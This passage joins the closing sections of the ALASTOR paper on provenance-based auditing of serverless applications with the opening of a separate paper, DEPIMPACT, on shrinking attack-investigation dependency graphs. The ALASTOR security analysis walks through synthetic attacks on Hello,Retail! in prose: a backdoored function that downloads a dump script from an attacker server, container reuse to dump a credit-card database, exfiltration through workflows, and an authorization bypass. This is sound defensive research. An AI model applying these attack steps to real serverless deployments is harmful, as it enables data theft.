GB-S. The execution time for get-price is 0.0081s / 0.0115s
with/without ALASTOR, while the time for sentiment-analysis
is 1.228s / 2.454s. Both functions fit in the lowest memory tier
(mem_tier) of 128 MB. Because the get-price function does
not exceed 400k GB-S, the total compute charges are $0 with
or without ALASTOR. For sentiment-analysis, the compute
charges exceed 400k and roughly double when ALASTOR
is deployed, jumping from $66.21 to $130.85.7 From these
results, we can conclude that in the typical case the hosting
cost of ALASTOR will be proportional to the overhead ALAS-
TOR imposes on execution time. Costs double for sentiment-
analysis where observed overheads were 99.8%, whereas for
Hello,Retail! costs will increase roughly by 13.74%.

8 Security Analysis

We now demonstrate the security benefits of ALASTOR as
compared to commercially-available serverless tools.

8.1 Defending Hello,Retail!

We begin by considering attacks against Hello,Retail! us-
ing the setup described in Section 7. We also configure
Hello,Retail! to make use of Epsagon [13], a commercial

7We confirmed these results with the Lambda Pricing Calculator [12].
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Figure 9: Epsagon provides the above visualization of the ma-
licious workflow trace in Hello,Retail!. Rectangles represent
function invocations and edges mark invocation requests with
response latencies. The visualization is identical regardless
of whether the attack behavior is present.

serverless monitoring tool. Epsagon monitors a serverless
application and generates traces in the form of a graph that
encodes function invocations in each end-to-end workflow
execution within the application. Unfortunately, we were un-
able to run Epsagon on OpenFaaS, so we ported our modi-
fied version of Hello,Retail! back to AWS Lambda and repli-
cated the attack scenarios on both setups. We compare the
insights provided by Epsagon traces as compared to ALAS-
TOR’s provenance graph in order to answer the following
research questions: does the output of each system indicate
that the application has deviated from its normal behavior?
(RQ1); does the output of each system provide an explana-
tion of the attacker’s actions within the application? (RQ2),
and can the output of each system be used to diagnose the
serverless-specific attack techniques? (RQ3).

8.1.1 Data Exfiltration Attack

We first consider the the attack scenario depicted in Figure 1.
Here, an attacker seeks to abuse the commonplace miscon-
figuration of cloud databases [94] to retrieve customer credit
card data, which is stored in the Credit Card Registry (D4).
In this case study, functions f9 and f12 were modified with
a backdoor that simulates a remote code execution vulner-
ability enabling the attacker to download attack tools from
an attacker controlled server. The backdoor in f9 is triggered
by supplying a “malicious” key in the request body. This
key is passed to f12 to trigger the phases of the attack. If the
key-value pair is not present in the request body, handling
of the request proceeds as normal. While this attack trigger
is synthetic, it is identical to an actual command injection
vulnerability from the perspective of the tracing mechanisms.

In the first phase of the attack, the attacker accesses the
publicly accessible Purchase Product function f9 (Fig. 1, 1 )
and then pivots to the Authorize Credit Card function f12 ( 2 ),
where they download the attack scripts from an attacker con-
trolled server ( 3 ). Once the download completes, the attacker
initiates phase two in a follow-up request, once again pivot-
ing to f12 through f9, but in this phase the attacker exploits
container reuse to execute the attack scripts downloaded in
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Figure 10: Global provenance graph for product-purchase attack workflow generated by ALASTOR. Some metadata is suppressed
from the graph for simplicity.

the previous phase ( 4 ). Through executing the previously
downloaded attack scripts, the attacker retrieves a data dump
of D4 and then sends the sensitive information back to f9 in
an HTTP response. Finally, following the normal workflow,
f9 forwards the response to f13 which in turn sends it back to
the attacker or may publish the sensitive information to public
domain ( 5 ). Note that this attack scenario leverages the two
key serverless-specific attack strategies, exploiting container
reuse and exfiltration through function workflows.

Attack Investigation with Epsason: Epsagon creates one
graph for each request made to the publicly accessible func-
tion product-purchase ( f9) as shown in Figure 9. Unfortu-
nately, the structure is identical regardless of whether a mali-
cious or legitimate request is issued. However, Epsagon also
records additional metadata for each function request and
execution that are not present in the trace visualization. In
order to provide a fairer comparison between the two tools,
we attempt to provide an integrated visualization of all of the
relevant trace information captured by Epsagon. Figure 11
demonstrates Epsagon’s view of a serverless application fol-

lowing 3 requests: one benign and two malicious requests that
constitute the attack. We omit additional irrelevant metadata
(headers and body) in order to reduce clutter.

Inspecting Figure 11, it can be seen that Epsagon provides
relevant metadata about function usage including environ-
ment runtime details, whether the container started executing
in cold or warm state, memory utilization, and the duration
of the function execution. Using this information, we can
observe an unusually large execution time (about two orders
of magnitude higher than the benign scenario) at step 14 in
Figure 11 due to the ongoing retrieval of the entire contents
of D4. This marks a deviation from normal behavior, thereby
satisfying RQ1, but it is a weak threat indicator because the
reason for this anomaly is not clear. Without additional sup-
porting evidence, the attack appears to be a performance bug
as opposed to a sophisticated intrusion attempt. With regards
to RQ2, although Epsagon records a variety of function meta-
data, it does not record connections to additional application
components including the credit-card database (D4), nor does
it log the connection to the attacker controlled remote server.
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Figure 11: We consolidate all attack traces and additional metadata captured by Epsagon in this diagram. For the purpose of clear
understanding of the flow, we used green color for normal flow path components and red for the attack path components.

Thus, Epsagon is unable to reconstruct the complete attack
path. Finally, in consideration of RQ3, Epsagon does track
one relevant attribute, cold_start, which indicates container
reuse in steps 2 , 4 , 6 , 8 , 10 , 12 , 14 and 16 . However, con-
tainer reuse alone is not an indicator of compromise; it is
in fact a common occurrence in any application. Epsagon is
unable to detect data sharing between repeated uses of the
same function instance, which is more suspicious. Therefore,
Epsagon traces do not enable serverless attack detection.
Attack Investigation with ALASTOR: The global prove-
nance graph generated by ALASTOR is shown in Figure 10.
To simplify the provenance graph, we omit some metadata
(e.g., timestamps, duration of operations, request and response
headers and body) from the graph and use event sequence
numbers to show the events chronologically. Furthermore, we
only show the events related to the attack requests ( 1 and
10 ). Red dotted lines and red colored components are used

where attack path deviates from normal execution ( RQ1).
The attacker makes their first request ( 1 ) to product-

purchase through the OpenFaaS gateway and this request
is accepted within the function instance ( 2 ). After pro-
cessing the incoming request, product-purchase invokes
product-purchase-get-price through the gateway ( 3 - 4 ). This
function’s responsibility is to retrieve the price of a prod-
uct from the Product Database (i.e., 10.107.30.82 : 3306).
Next, product-purchase makes another request to product-
purchase-authorize-cc ( 5 ) to authorize the credit card trans-
action. However, this function has a backdoor embedded
(i.e.,/home/app/malicious.js) which is triggered by the
“malicious” key in the request body ( 6 ). Alongside the normal
operations of the function, this backdoor vulnerability also
opens a connection to the attacker controlled server ( 7 ) and
downloads a malicious script sqldump.sh ( 8 ). In the next

step, product-purchase invokes product-purchase-publish to
publish the status of the transaction in public domain ( 9 ) and
also returns this in a response message to the attacker.

Now the attacker begins the next phase of the attack by
making another request to product-purchase ( 10 - 11 ) and af-
ter retracing the steps in first phase ( 12 - 14 ), we arrive to the
same product-purchase-authorize-cc instance. Since the at-
tacker makes the two attack requests in quick succession, the
warm container reuse policy in serverless platforms ensures
that the second request is scheduled to the same container
and the downloaded attack tools (i.e.,sqldump.sh) are avail-
able for use to the backdoor process. Next, the permissions of
the attack script is modified ( 15 ) and the script is run ( 16 ) to
fork a new mysqldump process ( 17 ). This process connects to
the Creditcard Database ( 18 ) and retrieves a database dump.
The attacker may continue sending multiple spurious requests
to the gateway to keep the container warm and to allow the
mysqldump process finish the data retrieval. The attacker can
exfiltrate the data either by sending it back through a response
message or by publishing it to a public domain using product-
purchase-publish ( 19 ). As demonstrated in Figure 10, ALAS-
TOR sheds light onto the specific actions of the attacker in
this intrusion (RQ2). It also diagnoses the serverless-specific
techniques (RQ3) of cross-invocation dependencies (sqldump
written in 5 , executed in 14 ) and exfiltration over legitimate
flows (data theft at 18 is routed to the public domain via
request to product-purchase-publish at 19 ).

8.1.2 Business Logic Manipulation Detection

We briefly discuss an additional attack scenario for
Hello,Retail! entailing business logic manipulation. When
applications are developed in serverless architectures, an ap-
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Figure 12: Global provenance graph for a business logic manipulation attack workflow.

plication’s business logic is broken across many single pur-
pose functions that interact with each other to accomplish
a task. As a result, the order in which these functions exe-
cute is paramount to the correct execution of a workflow, and
changes in the flow-order can lead to severe consequences,
such as broken authentication. We implemented this sce-
nario in Hello,Retail! where the workflow-path is redirected
based on a malicious field embedded in the incoming request.
This synthetic vulnerability bypasses the product-purchase-
authorize-cc function in the product-purchase workflow to
successfully make an unauthorized purchase. The resulting
provenance graph captured by ALASTOR can be found in Fig-
ure 12. In this graph, it can be seen clearly that the attacker
was able to manipulate the function workflow to bypass the
product-purchase-authorize-cc function, underscoring ALAS-
TOR’s general usefulness in threat investigation. Because the
comparative benefits between ALASTOR and Epsagon do not
change, we omit the results for Epsagon.

8.2 Generality of ALASTOR Auditing

We consider two additional applications, falco and
sent-analysis, discussed in detail in Section 7. falco’s
pod-deletion workflow consists of two functions –
dispatch ingest alerts from a threat detection engine,
and delete-pod-fn deletes a malicious pod for critical
alerts. One possible scenario entails an attacker employing
logic manipulation to bypass dispatch and launch a DoS
attack with delete-pod-fn. However, as we show for
Hello,Retail!, ALASTOR could effectively trace this attack.
For sent-analysis, one possible scenario is for an attacker
to attempt to exfiltrate sensitive training data from the func-
tion, which would require system calls and network requests
that are also visible to ALASTOR. As a final measure of the
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traced with ALASTOR.

generality of our approach, Figure 13 reports on the observed
system call distribution of the benign behaviors of our
workload applications from our experiments. The ubiquity
of syscall-based data processing and API-based network
communication assures that ALASTOR is well-positioned to
explain any suspicious activity.

8.3 Intrusion Detection with ALASTOR

Like most log data, ALASTOR can also facilitate security
analytics. To demonstrate, we trained an implementation8

of Du et al.’s DeepLog system [35], a deep learning based
anomaly detection system, on ALASTOR traces. We chose
DeepLog because it operates on unstructured, free-text log
entries, providing an easy way to measure the discriminatory
capabilities of ALASTOR’s telemetry data. We use an HTTP

8https://github.com/nailo2c/deeplog
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Figure 14: DeepLog performance on ALASTOR traces.

workload generator ‘hey’9 to generate benign and attack traces
of Hello,Retail! activity from the product purchase workflow
on OpenFaaS. The training dataset consisted of benign re-
quests issued at 10 requests per second for 180 seconds. Test
data was generated by issuing benign or malicious requests at
10 requests per second for 30 seconds. The malicious requests
represent the Data Exfiltration attack scenario discussed in
Section 8.1.1 (Figure 10). We use the Spell [34] log parser to
preprocess the collected logs following the steps described
in [35]. We then split the preprocessed logs into sequences
of 200 millisecond duration. Our test data contained 150 at-
tack sequences and 117 benign sequences. Default parameters
were used for the model, e.g., we trained for 35 epochs.

Our results are summarized in Figure 14. False negative
sequences may result from few events in the complete at-
tack timeline that is in common with benign traffic. Similarly,
false positives may be a result of infrequent benign activity
related to log transmission or container health monitoring and
maintenance by the orchestration platform. Encouragingly,
we observe an F1 score of 0.949, providing promising pre-
liminary evidence that ALASTOR telemetry would also prove
useful as a general purpose information source for serverless
intrusion detection. While we were not able to extract suf-
ficient log output from Epsagon to compare these results, it
is very likely that Epsagon would struggle to detect the at-
tack due to miniscule amount of attack evidence (i.e., longer
execution time) contained in the coarse-grained trace. In con-
trast, ALASTOR traces contain fine-grained event sequences
and document significant structural changes in application
behavior during the attack.

9 Related work

Serverless Auditing and Tracing: Limited visibility into
a serverless application is a recurring problem in modern
cloud computing, leading to various tools ranging from per-
formance monitoring and analysis solutions [3, 6, 31, 69, 70]
to tracing and observability tools [13, 84, 85, 90]. However,
these solutions collect metrics and perform tracing only at
a macro level, and are insufficient to provide a fine-grained
complete picture of the lower level system events within a
serverless application, essential for attack investigation. Ex-

9https://github.com/rakyll/hey

isting distributed system tracing tools, such as Dtrace [27],
Dapper [93], X-trace [39], MagPie [24], Fay [37], and Pivot-
Tracing [66] are not designed to account for aspects of the
serverless architecture and require instrumentation of the ap-
plication. Conversely, lprof [103] and Stitch [102] are able to
profile distributed applications without instrumentation; how-
ever, lprof requires static binary analysis, and Stitch requires
structured application log messages with object identifiers for
tracing. Moreover, these tools only capture correlations rather
than causality and thus are not appropriate for serverless foren-
sics. Hong et al. [50] proposed a conceptual design of a threat
intelligence system for serverless frameworks. However, it is
based on only application level logs and is unsuitable for root
cause analysis in forensics investigation. To our knowledge,
ALASTOR is the first causality analysis framework to satisfy
the operational requirements of serverless platforms.

Serverless Security: Prior work has demonstrated unique
attack opportunities in serverless platforms, including event
injection attacks [29, 56, 78] and data exfiltration [58, 61].
Further, serverless access control misconfigurations enable
attackers to steal sensitive information [41, 74] and launch
denial-of-service (or denial-of-wallet) attacks by exhausting
allocated resource limits and increasing bills [8, 101]. Baldini
et al. [23] concluded that the lack of function isolation is a
major problem in popular cloud platforms. Wang et al. [98]
performed a range of studies on metrics like scalability, cold-
start latency, and instance lifetime and they reported arbitrary
code execution bugs in Azure Functions making the platform
vulnerable to side-channel attacks.

In face of these attacks, various tools have been proposed
to improve function security before deployment and dur-
ing runtime [21, 82, 83, 86–89, 91]. Prior work has also pro-
posed improved isolation using Intel SGX to build secure
containers [22] and secure cloud functions [18, 26, 79]. Be-
yond isolation, prior work has considered flow control (e.g.,
Trapeze [19], Valve [33], SecLambda [55]) and other access
control models (e.g., Will.IAM [81]) to thwart serverless at-
tacks by denying suspicious access requests according to strict
flow and access control policies. Orchestration frameworks
have also been enhanced [28] with security policy support
for serverless applications. These security tools are proactive
precautions, while ALASTOR strengthens security posture
through improved threat response. Formal modeling of server-
less platforms [42, 54], and semi-automated troubleshooting
based on log data [67] may also improve serverless security.

System Auditing in Cloud Environments: It is especially
interesting to compare our system to Chen et al.’s CLAR-
ION [30], a technique for precise auditing of container clus-
ters. While both systems can be used to audit serverless func-
tions running in containerized environments, the challenges
addressed by these systems are quite different. CLARION is
a host-based agent that provides a solution for correctly au-
diting multiple namespaced environments without ambiguity,
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while ALASTOR is a container-based agent and thus does not
need to disambiguate namespaces. Although is could be used
to audit serverless applications, CLARION does not produce
separate graphs for multiple requests to the same function
instance and also would struggle to trace workflows across
multiple container servers in the cloud. In effect, ALASTOR
leverages the unique constraints of the FaaS environment –
ephemeral computation, remote procedure calls, and (mostly)
isolated container environments – to produce an optimized
solution to serverless auditing.

10 Discussion & Conclusion

In this work, we have demonstrated methods of layered
provenance-based auditing of serverless infrastructure that
enable precision tracing of attacks on serverless applications.
We now conclude by considering potential limitations of
ALASTOR as well as opportunities for future work.
Time Synchronization of Global Graph: Time synchro-
nization among different functions is resolved by preserving
the ordering of rest API calls. While miniscule time drift
may be possible between two system calls recorded in dif-
ferent function instances, preserving the happens-before rela-
tionships between API requests ensures that the causal links
between functions’ system graphs are correct.
Expensive I/O bound applications: Serverless functions
normally work on small pieces of data with execution times
on the order of milliseconds. If an application included long-
running I/O-intensive functions, it may be necessary to modify
ALASTOR to reduce the granularity of I/O logging.
Applicability of ALASTOR to other Serverless Platforms:

Systems like Cloudflare, Fastly, and Faasm that provide per-
request isolation can benefit from ALASTOR as a general
purpose auditing tool. Faasm [92] enables memory isolation
of executed functions using WebAssembly, while permitting
memory sharing among functions to enable efficient data
processing. In Faasm, ALASTOR could be used to investigate
possible disclosures of sensitive data (e.g., medical data). It
may also be possible to extend ALASTOR to audit access to
memory regions through introspection of memory system
calls. Moreover, ALASTOR logs can be ingested by other
monitoring tools for threat detection and other analyses.
Threat Model: ALASTOR’s design assumes that an attacker
can compromise a function instance but has limited adminis-
trative access to the victim’s account. This assumption is rea-
sonable if application RBAC policies are properly configured.
However, an attacker that fully compromises the container
may be able to prevent future logs from reaching the global
provenance builder service, or could erase log entries. One
possible response to such attacks would be to extend ALAS-
TOR to generate cryptographic log commitments to detect
log integrity violations (e.g., [75]) and increase the frequency
of log transmission to bound the amount of unprotected log

accessible to the attacker.
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Abstract

Causality analysis on system auditing data has emerged

as an important solution for attack investigation. Given a

POI (Point-Of-Interest) event (e.g., an alert fired on a sus-

picious file creation), causality analysis constructs a depen-

dency graph, in which nodes represent system entities (e.g.,

processes and files) and edges represent dependencies among

entities, to reveal the attack sequence. However, causality

analysis often produces a huge graph (> 100,000 edges) that

is hard for security analysts to inspect. From the dependency

graphs of various attacks, we observe that (1) dependencies

that are highly related to the POI event often exhibit a differ-

ent set of properties (e.g., data flow and time) from the less-

relevant dependencies; (2) the POI event is often related to a

few attack entries (e.g., downloading a file). Based on these

insights, we propose DEPIMPACT, a framework that identifies

the critical component of a dependency graph (i.e., a sub-

graph) by (1) assigning discriminative dependency weights to

edges to distinguish critical edges that represent the attack

sequence from less-important dependencies, (2) propagating

dependency impacts backward from the POI event to entry

points, and (3) performing forward causality analysis from the

top-ranked entry nodes based on their dependency impacts

to filter out edges that are not found in the forward causality

analysis. Our evaluations on the 150 million real system au-

diting events of real attacks and the DARPA TC dataset show

that DEPIMPACT can significantly reduce the large depen-

dency graphs (∼ 1,000,000 edges) to a small graph (∼ 234

edges), which is 4611× smaller. The comparison with the

other state-of-the-art causality analysis techniques shows that

DEPIMPACT is 106× more effective in reducing the depen-

dency graphs while preserving the attack sequences.

1 Introduction

Recent cyber attacks have plagued many well-protected busi-

nesses, causing significant financial losses [1–3, 6, 8, 24, 75].

∗Equal contribution

These attacks often exploit multiple types of vulnerabili-

ties to infiltrate into target systems in multiple stages, pos-

ing challenges for detection and investigation. To counter

these attacks, recent approaches based on ubiquitous sys-

tem monitoring have emerged as an important approach for

monitoring system activities and performing attack investi-

gation [28, 30, 31, 44, 45, 48, 49, 55, 56]. System monitoring

collects kernel auditing events about system calls as system

audit logs. The collected data enables approaches based on

causality analysis [33, 38, 45, 47–49, 55, 57] to identify entry

points of intrusions (backward tracing) and ramifications of

attacks (forward tracing), which have been shown to be ef-

fective in reducing false alerts of intrusions [38, 67, 71] and

assisting timely system recovery [33, 47].

Despite the great promise of causality analysis, existing

approaches require non-trivial efforts of inspection [38, 39],

which limits their wide adoption. Causality analysis ap-

proaches assume causal dependencies between system en-

tities (e.g., files, processes, and network connections) that are

involved in the same system call event (e.g., a process reading

a file). Based on such assumption, these approaches orga-

nize system call events in a system dependency graph, with

nodes being system entities and edges being system events.

By inspecting such a dependency graph, security analysts can

obtain the contextual information of an attack by reconstruct-

ing the chain of events that lead to the POI (Point-Of-Interest)

event (i.e., an alert event reported by anomaly detection tools

or manually observed). Such contextual information is par-

ticularly effective in distinguishing benign and attack-related

events such as distinguishing benign uses of ZIP from ran-

somware [38, 46]. However, due to the dependency explosion

problem [53, 74, 78], the dependency graph could be gigantic,

typically containing >100,000 edges [38, 39]. As a result, it

is difficult for security analysts to soundly reason the graph,

and find the edges that are critical to the attack.

Key Insight. By carefully inspecting the dependency graphs

of various attacks [31, 45, 55, 57], we have two key observa-

tions. First, on a large dependency graph constructed from

a POI event, a small number of critical edges (e.g., events
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that create and execute malicious payloads) that represent

the attack sequence are typically buried in many non-critical

edges (e.g., events that perform irrelevant system activities).

Compared to non-critical edges, critical edges typically ex-

hibit a different set of properties and are more related to the

POI event in these properties. For example, critical edges that

read data from a suspicious IP and then write the data to a

malicious script file will have the similar data flow amount as

the script file’s size. Second, a POI event is often caused by a

few sources, referred to as attack entries. These attack entries

are represented as entry points of the attack sequence that lead

to the POI event, and are buried in many other irrelevant entry

nodes (i.e., nodes without incoming edges) in the dependency

graph. For example, many attacks start by injecting a mali-

cious script into the victim host and may further download

more tools along the attack. Such an attack is captured in

a dependency graph with the attack entries representing the

downloaded malicious script and tools.

Challenges. While identifying critical edges and attack en-

tries has the great potentials in reducing the size of the depen-

dency graph while preserving the attack sequence, there are

three major challenges for achieving such goals.

First, the processes that are causally related to the POI

event usually perform other irrelevant system activities in

the background, causing a large number of less-important

dependencies to be included in the dependency graphs. More-

over, these irrelevant system activities often trace back to

many irrelevant sources (e.g., irrelevant web browsing and

file downloads) that have low impact on the POI event, and

thus causality analysis may identify more than a thousand

entry nodes (Section 5.1). As a result, it is often infeasible to

manually inspect these daunting number of edges and entry

nodes to identify critical edges and attack entries.

Second, data flow amount seems like a promising feature

for distinguishing critical edges in some attacks. However,

based on our empirical observations (Section 5.1), for many

attacks, there are usually lots of non-critical edges that have

the similar data amount as the critical edges in the depen-

dency graphs. This indicates that a single feature is limited in

addressing diversified attack scenarios.

Third, while existing techniques have also made attempts

to identify critical edges, they mainly rely on heuristic

rules that cause loss of information [48], intrusive system

changes [45, 57] such as binary instrumentation and kernel

customization, or execution profiles [38], hindering their prac-

tical adoption. For example, PrioTracker [55] assigns pro-

cesses with many dependencies lower priorities to focus the

search on a smaller scope (i.e., processes with fewer depen-

dencies). But such strategy will miss the attacks that utilize

the vulnerable complex software (e.g., web browsers) that

have lots of dependencies (e.g., read/write many files and

interact with other processes). Another common component

adopted by existing techniques is to use execution profiles

for detecting anomaly events. However, for large enterprises,

the number of running instances is huge and they have very

diverse behaviors. Obtaining a general execution profile for

these instances is almost impossible under such complex sce-

narios. Thus, there is a strong need for a general solution that

does not suffer from the same adoption limitations.

Contributions. Based on the key insights, we propose DE-

PIMPACT, a novel framework that facilitates attack investiga-

tion by identifying critical edges and attack entries in large

dependency graphs. Specifically, given a POI event to be

investigated, DEPIMPACT first applies causality analysis to

construct a backward dependency graph for the POI event,

and then employs automated techniques to identify the criti-

cal component of the dependency graph. Critical component

is a subgraph of the dependency graph that preserves the in-

formation critical to attack investigation (i.e., critical edges

and attack entries) and eliminates irrelevant system activities.

As it preserves attack information and its size is significantly

reduced from the original dependency graph, it drastically

reduces the complexity for revealing attack steps, facilitating

attack investigation. DEPIMPACT develops three major tech-

niques to address the aforementioned technical challenges.

(1) Dependency Weight Computation: Unlike existing work

that relies on execution profiles [38] or a single feature [55],

DEPIMPACT captures the differences between critical edges

and non-critical edges by profiling multiple features for each

edge, including timing, data flow amount, and node degree

(Section 4.2.2). Then, DEPIMPACT employs a discrimina-

tive feature projection scheme based on Linear Discriminant

Analysis (LDA) [60] to compute a weight score based on the

features, referred to as dependency weight (Section 4.2.3).

This scheme aims to maximize the weight differences be-

tween critical and non-critical edges. Instead of using global

weights as the existing work [38], for each node, DEPIMPACT

normalizes the weights of its outgoing edges, and thus the

final weights are local weights for each node. This addresses

the limitation of using global weights: certain critical edges

might be important when compared to the other edges origi-

nating from the same sources, but they may receive very low

global weights when they are far from the POI event. An edge

with a higher dependency weight (ranging from 0.0 to 1.0)

implies more relevance to the POI event, and is more likely

to be a critical edge.

(2) Dependency Impact Back-Propagation & Entry Node

Ranking: To reveal attack entries, DEPIMPACT employs a no-

tion of dependency impact. The dependency impact of a node

is defined as a score that models the node’s impact on the POI

event, i.e., a higher score implies a higher impact. To compute

the dependency impacts for all nodes, DEPIMPACT employs a

weighted score propagation scheme that propagates the depen-

dency impact from the nodes in the POI event backward along

the edges to all entry nodes. Inspired by TrustRank [36], our

score propagation scheme computes the dependency impact

of a node as a weighted sum of its children’s dependency im-

pact scores where each child node’s weight is the normalized
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dependency weight of the edge between the parent node and

the child node. The intuition behind our score propagation

scheme is that an attack entry’s impact on the POI event is

proportionally distributed to its children based on the edge

dependency weights. After propagation, DEPIMPACT ranks

the entry nodes based on their dependency impacts, and the

top-ranked entry nodes are more likely to be attack entries.

(3) Forward Causality Analysis for Critical Component

Identification: After ranking the entry nodes, DEPIMPACT

performs forward causality analysis from the top-ranked entry

nodes, producing another dependency graph, called forward

dependency graph. The overlapping part between the forward

graph and the original backward dependency graph accurately

preserves the nodes and edges that are highly relevant to

both the POI event and the attack entries. We refer to this

overlapping part as the critical component of the original

dependency graph.

Evaluation. We implemented a prototype of DEPIMPACT in

roughly ∼20K lines of code and deployed it on a physical

testbed for evaluation. We performed 7 attacks that are used in

prior studies [23, 52, 55, 78] and 3 multi-host intrusive attacks

based on the Cyber Kill Chain framework [11] and CVE [63],

and applied DEPIMPACT to investigate them. During our eval-

uation, the deployed hosts continue to resume their routine

tasks to emulate the real-world deployment where irrelevant

system activities and attack activities co-exist. We addition-

ally include 5 attack cases in DARPA TC dataset [22] in our

evaluation. In total, we collected ∼100 million system au-

diting events for our performed attacks and the DARPA TC

dataset contains ∼50 million events. Our tool and dataset are

available at the project website [12].

The evaluation results demonstrate that DEPIMPACT is

highly effective in revealing critical edges and attack entries.

On average, the size of the critical component produced by

DEPIMPACT has ∼ 234 edges, which is ∼ 4611× smaller

than the size of the original dependency graph (∼ 1 million

edges). Such a high reduction rate is achieved without missing

any critical edge, which is mainly due to the fact that DE-

PIMPACT consistently ranks the attack entries at the top. The

comparison with four other state-of-the-art causality analysis

techniques (CPR [78], ReadOnly [54], PrioTracker [55], and

NoDoze [38]) shows that DEPIMPACT is at least 72× more

effective in dependency graph reduction, and does not miss

critical edges as the compared techniques. Additionally, com-

pared with the version of DEPIMPACT that uses less features

and the average-projection approach that uses an average

projection vector for computing dependency impacts, DE-

PIMPACT achieves at least 69.91% improvement in ranking

attack entries, demonstrating the superiority of DEPIMPACT’s

discriminative feature projection scheme and proving the ne-

cessity of features. Finally, DEPIMPACT finishes analyzing an

attack within 6 minutes, which is∼ 4× faster when compared

with the average-projection approach. The results also show

that DEPIMPACT and NoDoze have similar runtime perfor-

mance for most of the attacks, while DEPIMPACT achieves

much better reduction rates than NoDoze.

2 Background and Motivation

2.1 System Monitoring

System monitoring collects auditing events about system

calls that are crucial in security analysis, describing the in-

teractions among system entities. As shown in previous stud-

ies [30,31,33,38,44,45,48,49,55,56], on mainstream operat-

ing systems (Windows, Linux, and Mac OS), system entities

in most cases are files, processes, and network connections,

and the collected system calls are mapped to three major types

of system events: (1) file access, (2) processes creation and

destruction, and (3) network access. Following the established

trend, in this work, we consider system entities as files, pro-

cesses, and network connections. We consider a system event

as the interaction between two system entities represented as

〈subject, operation, object〉. Subjects are processes originat-

ing from software applications (e.g., Chrome), and objects

can be files, processes, and network connections. We catego-

rize system events into three types according to the types of

their object entities, namely file events, process events, and

network events. Both entities and events have critical security-

related attributes (Tables 1 and 2). Representative attributes

of entities include file name, process executable name, IP, and

port. Representative attributes of events include event origins

(e.g., start time/end time) and operations (e.g., file read/write).

2.2 Causality Analysis

Causality analysis [33, 38, 45, 47–49, 55, 57] analyzes the

auditing events to infer their dependencies and present the

dependencies as a directed graph. In the dependency graph

G(E,V ), a node v∈V represents a process, a file, or a network

connection. An edge e(u,v) ∈ E indicates a system auditing

event that involves two entities u and v (e.g., process creation,

file read or write, and network access), and its direction (from

the source node u to the sink node v) indicates the direction of

data flow. Each edge is associated with a time window, tw(e).

We use ts(e) and te(e) to represent the start time and the end

time of e. Formally, in the dependency graph, for two events

e1(u1,v1) and e2(u2,v2), there exists causal dependency be-

tween e1 and e2 if v1 = u2 and ts(e1)< te(e2).

Causality analysis enables two important security appli-

cations: (1) backward causality analysis that identifies entry

points of attacks, and (2) forward causality analysis that in-

vestigates ramifications of attacks. Given a POI event es(u,v),

a backward causality analysis traces back from the source

node u to find all events that have causal dependencies on u,

and a forward causality analysis traces forward from the sink

node v to find all events on which v has causal dependencies.
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Figure 1: Partial dependency graph of an attack that downloads a malicious file and hides the file by renaming it (rectan-

gles for processes, ovals for files, parallelograms for network connections). The complete dependency graph constructed

from the POI event (renaming to user/file.txt) via backward causality analysis contains 194,208 nodes and 3,273,769

edges. The critical component identified by DEPIMPACT is colored in dark black, which contains 10 nodes (including

2 attack entries) and 12 edges (these edges are all critical edges). As can be seen, DEPIMPACT significantly reduces the

size of the dependency graph while preserving the critical attack information.

Table 1: Representative attributes of system entities

Entity Attributes Shape in Graph

File Name, Path Ellipse

Process PID, Name, User, Cmd Square

Network Connection IP, Port, Protocol Parallelogram

Table 2: Representative attributes of system events

Operation Read/Write, Execute, Start/End

Time Start Time/End Time, Duration

Misc. Subject ID, Object ID, Data Amount, Failure Code

2.3 Motivating Example

Figure 1 shows a partial dependency graph of a file hiding

activity: a suspicious script mal.sh is executed to download a

malicious file mal from a remote host 192.1.1.254. The file is

then moved to user/mal and renamed to user/file.txt. Given

a POI event which renames the file to user/file.txt, the de-

pendency graph produced by backward causality analysis

contains 194,208 nodes and 3,273,769 edges. The critical

edges and attack entries (192.1.1.254, mal.sh) that represent

the attack sequence are colored in dark black. The goal of at-

tack investigation is to inspect the dependency graph to reveal

critical edges and attack entries of the attack.

Challenges. As observed in Figure 1, attack investigation is

a process of finding a needle in a haystack: a limited number

of critical edges (i.e., 12) are buried in an overwhelmingly

large number (∼ 3 million) of non-critical edges (i.e., less-

important dependencies), and same for attack entries (i.e.,

2 out of ∼ 35K irrelevant entry nodes). When existing tech-

niques, such as PrioTracker [55] and NoDoze [38], are applied

to identify these critical edges, they achieve poor performance.

PrioTracker relies on the fanout value of a node to prioritize

the edges. As the process bash has a high fanout value and

the critical edges are connected with it, PrioTracker needs a

higher threshold to keep the critical edges, and thus produc-

ing a dependency graph with 114,614 edges. NoDoze relies

on an execution profile to filter irrelevant events. However,

due to the complex nature of computer systems, it is almost

impossible to obtain an execution profile that covers most

common system behaviors. Specifically, there are many edges

introduced by the irrelevant process grep, which is not fre-

quently observed when the execution profile is trained. Such

rare benign events cause NoDoze to produce a dependency

graph with 37,251 edges.

Using DEPIMPACT to Identify Critical Component. DE-

PIMPACT first divides the entry nodes into 3 categories (i.e.,

network connections, files, and processes), and ranks the en-

try nodes in each category. Here, DEPIMPACT ranks the IP

192.1.1.254 for mal downloading as top 1, the malicious script

mal.sh and the executable /bin/mv as top 1 and top 2. By per-

forming forward causality analysis from top-ranked entry

nodes and taking the overlap, DEPIMPACT filters out most

less-important dependencies (∼ 3 million) and identifies the

critical component (colored in dark black; 10 nodes, 12 edges)

that preserves all critical edges and attack entries. Note that

2464    31st USENIX Security Symposium USENIX Association



Table 3: Representative system calls processed

Event Category Relevant System Call

Process/File read, write, readv, writev

Process/Process execve, fork, clone

Process/Network read, write, sendto, recvfrom, recvmsg

PrioTracker’s graph is ∼ 141× bigger than DEPIMPACT’s

graph, and NoDoze’s graph is ∼ 46× bigger than the DE-

PIMPACT’s graph.

3 Overview

Figure 2 shows the architecture of DEPIMPACT. Given a

POI event, DEPIMPACT automatically identifies the critical

component of the dependency graph produced by causality

analysis. DEPIMPACT consists of three phases: (1) depen-

dency graph generation, (2) dependency weight computation,

and (3) critical component identification.

In Phase I, DEPIMPACT leverages mature system audit-

ing frameworks [19, 59, 69, 73] to collect system audit logs.

Given a POI event, DEPIMPACT parses the collected logs

and performs backward causality analysis [48, 49] to gen-

erate a backward dependency graph for the POI event. In

Phase II, DEPIMPACT first employs state-of-the-art depen-

dency graph reduction techniques [78] to reduce the graph

size (Section 4.2.1). Then, DEPIMPACT extracts features for

edges and employs a discriminative feature projection scheme

based on LDA to compute dependency weights from the fea-

tures, so that critical edges can be better revealed. The output

of Phase II is a weighted dependency graph for the POI event.

In Phase III, DEPIMPACT first employs a weighted score prop-

